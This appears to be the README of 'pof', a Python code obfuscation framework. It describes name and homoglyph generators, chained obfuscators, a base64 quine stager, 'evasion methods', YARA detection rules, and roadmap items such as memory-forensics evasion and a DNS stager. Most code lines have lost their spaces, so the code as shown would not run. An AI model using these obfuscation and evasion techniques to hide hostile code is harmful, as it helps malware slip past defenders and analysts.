python3 out.py TzyaoO...frombase64importb64decodefromtokenizeimportuntokenizeesource='cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='tokens=[(1,'from'),(1,'base64'),(1,'import'),(1,'b64decode'),(4,'\n'),(1,'from'),(1,'tokenize'),(1,'import'),(1,'untokenize'),(4,'\n'),(1,'esource'),(54,'='),(4,'\n'),(1,'tokens'),(54,'='),(4,'\n'),(1,'def'),(1,'quine'),(54,'('),(54,')'),(54,':'),(4,'\n'),(5,' '),(1,'return'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(54,':'),(2,'12'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'esource'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'12'),(54,':'),(2,'15'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'tokens'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'15'),(54,':'),(54,']'),(54,')'),(4,'\n'),(6,''),(1,'exec'),(54,'('),(1,'b64decode'),(7,'('),(1,'esource'),(8,')'),(54,')'),(4,'\n')]
defquine():
returnuntokenize(tokens[:12])+repr(esource)+untokenize(tokens[12:15])+repr(tokens)+untokenize(tokens[15:])
exec(b64decode(esource))This is most likely useless, a quine is a program that output its source code, and you can generate a quine from your source code with this.
Your script will still execute but a new function quine will be available, if
you call it you'll have access to the source.
Example usage:
echo"print(quine())"| pof -f stager -k QuineStager > out.py
python3 out.py > out2.py
python3 out2.py > out3.py
diff out2.py out3.pyThe out2.py and out3.py files are identical, they both contain the source
code, and the script print(quine()).
Note
By default pof uses a custom Untokenizer that removes useless spaces
(NoSpaceUntokenizer defined in ./pof/utils/tokens.py), so first generation
(in the example out.py) will not have spaces present in the subsquent
outputs.
You can choose to automatically format the output code using black.
From the CLI add the --format flag.
From lib:
frompof.utils.formatimportblack_formatobf=ExampleObfuscator().obfuscate(...)
out=black_format(obf)
print(out)Generators are used to generate new names, they can be used to classes, variables, functions, constants or any other.
BasicGenerator.alphabet_generator:
kMX94Fcb
mff0ERu3V
lNRxu3hk
b5PK35uR_t
AdvancedGenerator.realistic_generator:
Useful to create variables that look realistic.
raise_src
expected_message
ContextInputValidation
is_auth
AdvancedGenerator.fixed_length_generator:
Inspired by: pyob.oxyry.com.
O00OOOO00O0O00OOO
O000OOOOO0O000O0O
O0OOOO0000OO0OO00
O000000OO0O0O0OO0
UnicodeGenerator.katakana_generator:
シ
ビラ
ポワ
ヌバ
Yes they are valid Python variable name.
Usage:
frompof.utils.generatorimportUnicodeGeneratorgen=UnicodeGenerator().katakana_generator()
for_inrange(4):
print(next(gen))You can also combine generators to pick randomly but with weights associated:
frompof.utils.generatorimport*gen_dict= {
86: AdvancedGenerator.realistic_generator(),
10: BasicGenerator.alphabet_generator(),
4: BasicGenerator.number_name_generator(length=random.randint(2, 5)),
}
gen=AdvancedGenerator.multi_generator(gen_dict)
for_inrange(4):
print(next(gen))Homoglyphs are glyphs that have the same shape and appear identical. There is a generator to help create them.
Example of homoglyphs for Hello, world!:
H𝐞llo, world!
Hello, ᴡorld!
Hello, worldǃ
Hello, world!
Hеllo, world!
Hello, woгld!
Hello, woꭈld!
Hello, world!
Hello, worldǃ
Hello¸ world!
Hello, world!
Usage:
frompof.utils.seimportHomoglyphsGeneratordefget_homoglyphs():
generator=HomoglyphsGenerator()
text="Hello, world!"for_inrange(10):
homoglyph=generator.get_single_homoglyph(text)
print(homoglyph)The true power of pof is in chaining multiple different obfuscation techniques easily, there is a pretty simple Python API to do so.
For example this is a snippet of the default obfuscator:
importrandomfrompofimportBaseObfuscatorfrompof.obfuscatorimport (
BuiltinsObfuscator,
CommentsObfuscator,
ConstantsObfuscator,
ExceptionObfuscator,
GlobalsObfuscator,
LoggingObfuscator,
NamesObfuscator,
NumberObfuscator,
PrintObfuscator,
StringsObfuscator,
)
frompof.utils.extract_namesimportNameExtractfrompof.utils.generatorimportAdvancedGenerator, BaseGenerator, BasicGeneratorclassExampleObfuscator(BaseObfuscator):
defobfuscate(self, source: str):
# tokenize Python source codetokens=self._get_tokens(source)
# get all the names and add them to the RESERVED_WORDS for the generatorsreserved_words_add=NameExtract.get_names(tokens)
BaseGenerator.extend_reserved(reserved_words_add)
# remove commentstokens=CommentsObfuscator().obfuscate_tokens(tokens)
# replace logging message with reversable random codetokens=LoggingObfuscator().obfuscate_tokens(tokens)
# remove print statementstokens=PrintObfuscator().obfuscate_tokens(tokens)
# replace exceptions with reversable random namestokens=ExceptionObfuscator(
add_codes=True,
generator=BasicGenerator.number_name_generator(),
).obfuscate_tokens(tokens)
# configure global generatorgenerator=AdvancedGenerator.multi_generator({
86: AdvancedGenerator.realistic_generator(),
10: BasicGenerator.alphabet_generator(),
4: BasicGenerator.number_name_generator(length=random.randint(2, 5)),
})
# extract values and function to make them constanttokens=ConstantsObfuscator(
generator=generator,
obf_number_rate=0.7,
obf_string_rate=0.1,
obf_builtins_rate=0.3,
).obfuscate_tokens(tokens)
tokens=NamesObfuscator(generator=generator).obfuscate_tokens(tokens)
# obfuscate function calls by calling `globals()` insteadtokens=GlobalsObfuscator().obfuscate_tokens(tokens)
# obfuscate builtins in many different waystokens=BuiltinsObfuscator().obfuscate_tokens(tokens)
b64decode_name=next(generator)
b85decode_name=next(generator)
string_obfuscator=StringsObfuscator(
import_b64decode=True,
import_b85decode=True,
b64decode_name=b64decode_name,
b85decode_name=b85decode_name,
)
# obfuscate strings in many different waystokens=string_obfuscator.obfuscate_tokens(tokens)
# for futur usage of `string_obfuscator` don't re-import base64 and 85string_obfuscator.import_b64decode=Falsestring_obfuscator.import_b85decode=False# obfuscate numbers twice in a row in many different waysfor_inrange(2):
tokens=NumberObfuscator().obfuscate_tokens(tokens)
# obfuscate builtins once againtokens=BuiltinsObfuscator().obfuscate_tokens(tokens)
# obfuscate strings two more timesfor_inrange(2):
tokens=string_obfuscator.obfuscate_tokens(tokens)
# and produce Python source code from tokensreturnself._untokenize(tokens)
print(ExampleObfuscator().obfuscate(open("source.py", "r").read()))In this example we can see that first we remove comments, logging, print statements, and change the content of exceptions. And then we start to obfuscate constants, names, globals, builtins, strings. Then strings and numbers multiple times, and we finally convert the tokens back to code.
By chaining multiple obfuscations techniques we can create very complex and custom output.
Pof also provide evasions methods, they are useful for quick and easy evasions, and can be used and customized to fit the need. The full evasion documentation can be found in evasion.md.
For more example of how to use the pof Python API check the examples/ directory.
Yara rules can be used to detect malware, they can also be used to find interesting strings in Python source code. To check rules against source files and/or obfuscated files run:
yara --no-warnings yara/python.yar examples/out/custom_complete_format.pyNote
The rules are far from perfect, but they are a starting point.
Project directory structure:
pof: contains all the pof source code.pof/obfuscator: contains obfuscators.pof/stager: contains stagers.pof/evasion: contains evasions.pof/utils: all shared code between stager, obfuscator and evasion.
wip: work in progress code that will eventually make its way inside the main code base.tests: unit tests for pof.scripts: some useful scripts to develop or use pof.yara: some yara rules to detect pof obfuscated code.
Setup dev environment:
python3 -m venv venv
# activate it (or equivalent for your shell)source ./venv/bin/activate
# install dependencies
pip install -e .
pip install -e ".[dev]"
pip install -e ".[test]"Run pof CLI:
./pof.py --helpRun tests:
pytestFormat:
ruff format .Lint:
ruff check .Test build package:
# install dependencies
pip install -e ".[build]"
check-manifest --ignore "tests/**"
python3 -m build
python3 -m twine check dist/*Update evasion documentation:
pip install .
./scripts/generate_evasion_docs.py > evasion.mdNo effort is made to support Python 2, most obfuscator, stagers, and evasion should work out of the box, but they are not tested.
Other Python obfuscation projects:
- 0x-Apollyon/Papyrus
- Hnfull/Intensio-Obfuscator
- lepotekil/MsfMania
- billythegoat356/Hyperion
- spyboy-productions/ObfuXtreme
- chris-rands/emojify
- 0sir1ss/Anubis
- 0sir1ss/Carbon
- billythegoat356/Apollyon
- billythegoat356/Berserker
- brandonasuncion/Python-Code-Obfuscator
- CSM-BlueRed/Impostor
- ImInTheICU/ExtraLayer
- root4031/pyobfuscate
- therealOri/PolyLock
- FlorianREGAZ/PyObfuscator
- Add option to prepend a shebang, and add ability to customize it.
- Support selective obfuscation via comments.
- Support target Python version to only output syntax that will work for that version.
- Test on multiple Python version.
- Advanced AST manipulation for deeper transforms.
- Evasion to detect cloud platform, AWS/Azure/GCP.
- Evasion for memory forensics.
- DNS stagger, with output for DNS server.
- Server, add rate limiting per IP.
- Server, download output to file.
- Server, add timeout in case the computation takes too long.
- Server, set correct version when building the server in CI.
pof is licensed under GPLv3.